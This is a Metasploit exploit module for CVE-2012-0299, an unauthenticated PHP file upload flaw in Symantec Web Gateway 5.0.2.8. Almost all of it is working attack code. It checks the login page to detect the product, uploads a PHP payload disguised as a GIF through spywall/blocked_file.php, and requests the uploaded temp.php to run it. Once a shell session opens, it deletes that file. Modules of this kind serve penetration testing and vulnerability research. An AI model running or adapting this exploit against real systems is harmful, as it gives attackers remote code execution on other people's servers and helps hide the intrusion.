##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a file upload vulnerability found in Symantec Web Gateway's
        HTTP service. Due to the incorrect use of file extensions in the upload_file()
        function, attackers may to abuse the spywall/blocked_file.php file in order to
        upload a malicious PHP file without any authentication, which results in arbitrary
        code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',     # Tenable Network Security, Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0299' ],
          [ 'OSVDB', '82025' ],
          [ 'BID', '53443' ],
          [ 'ZDI', '12-091' ],
          [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Symantec Web Gateway 5.0.2.8', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 17 2012",
      'DefaultTarget'  => 0))
  end


  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/spywall/login.php'
    })

    if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_new_session(client)
    print_warning("Deleting temp.php")
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("temp.php")
    else
      client.shell_command_token("rm temp.php")
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    peer = "#{rhost}:#{rport}"
    payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
    before_filename = rand_text_alpha(rand(10) + 5)
    after_filename = rand_text_alpha(rand(10) + 5)

    post_data = Rex::MIME::Message.new
    post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
    post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
    post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
    post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")

    print_status("Sending PHP payload (#{payload_name})")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "spywall/blocked_file.php"),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'data'   => post_data.to_s
    })

    # If the server returns 200 and the body contains the name
    # of the default file, we assume we uploaded the malicious
    # file successfully
    if not res or res.code != 200 or res.body !~ /temp.php/
      print_error("File wasn't uploaded, aborting!")
      return
    end

    print_status("Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_status("Server returned #{res.code.to_s}")
    end
  end

end
